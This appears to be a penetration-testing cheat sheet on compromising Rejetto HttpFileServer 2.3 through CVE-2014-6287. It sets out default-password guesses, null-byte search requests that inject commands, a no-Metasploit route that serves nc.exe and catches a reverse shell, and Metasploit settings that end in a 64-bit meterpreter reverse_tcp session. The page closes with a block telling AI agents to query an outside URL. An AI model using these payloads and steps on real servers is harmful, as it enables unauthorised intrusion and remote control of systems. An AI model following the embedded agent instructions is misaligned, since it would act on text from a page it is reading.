# HttpFileServer (HFS)

## Basics

* Webserver designed for publishing and sharing files
* Developed by Rejetto

```
http://10.x.x.x .. Port 80 HttpFileServer (HFS 2.3)
```

## Password Guessing

```
admin:admin 
admin:password 
root:password 
root:root 
admin:fileserver
```

## HFS 2.3 Remote Command Execution (RCE)

* Vulnerable to remote code execution attacks
* Due to a poor regex in the file ParserLib.pas
* <https://www.exploit-db.com/exploits/39161>
* Execute arbitrary programs using %00 (null byte) sequence in a search action.
* Which terminates the regular expression but not the entire string.
* HFS has settings to secure against searching with { } . |

## Explore HFS

* Google: HTTPFileServer Exploit
* <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6287>
* <http://www.rejetto.com/wiki/index.php/HFS:_scripting_commands>

```
GET /?search=%00 HTTP/1.1                            ..original
GET /?search=%00{.exec|ping 10.10.10.14 HTTP/1.1     ..ping
GET /?search=%00{.exec|ping 10.10.10.14.} HTTP/1.1   ..better

tcpdump -i tun0                                      ..confirm pings
```

## Easy Exploit (no msf)

```
searchsploit rejetto

vim 39161.py                   ..fix localip/port
cp nc.exe .                    ..prep payload
python -m SimpleHTTPServer 80  ..share
http://$MyIP:80/nc.exe         ..confirm path
python 39161.py <IP> <Port>    ..method
python 39171.py 10.x.x.x 80    ..exploit (try 4x)
nc -nvlp 4444                  ..listen
```

## Rejetto v2.3 RCE - Metasploit

* rejetto\_hfs\_exec
* CVE-2014-6287

```
--------------------
Google
httpfileserver vulnerability
httpfileserver metasploit
httpfileserver CVE

Found... "Remote Code Execution", Rejetto, CVE-2014-6287

--------------------
Metasploit
> searchsploit HTTPFileServer   .. nothing
> searchsploit HFS              .. Rejetto HTTP v2.3

> msfconsole
> search rejetto
> use exploit/windows/http/rejetto_hfs_exec
> show options
> set RHOST $IP
> set LHOST $MyIP
> set SRVHOST $MyIP
> set LPORT 5555
> run
```

## Meterpreter 64

* Session is 32 bit, but Server is 64
* Set a new Payload

```
> sysinfo
Computer: OPTIMUM
OS: Windows 2012 R2
Arch: x64                        ..64 bit
Meterpreter: x86/Windows         ..32 bit

> background
msf> show options
msf> set payload windows/x64/meterpreter/reverse_tcp     ..new Payload
msf> set LPORT 51001                                     ..new Port
msf> run                                                 ..connected!
```

##


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# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://pentest.mxhx.org/04-webapps/httpfileserver-hfs.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.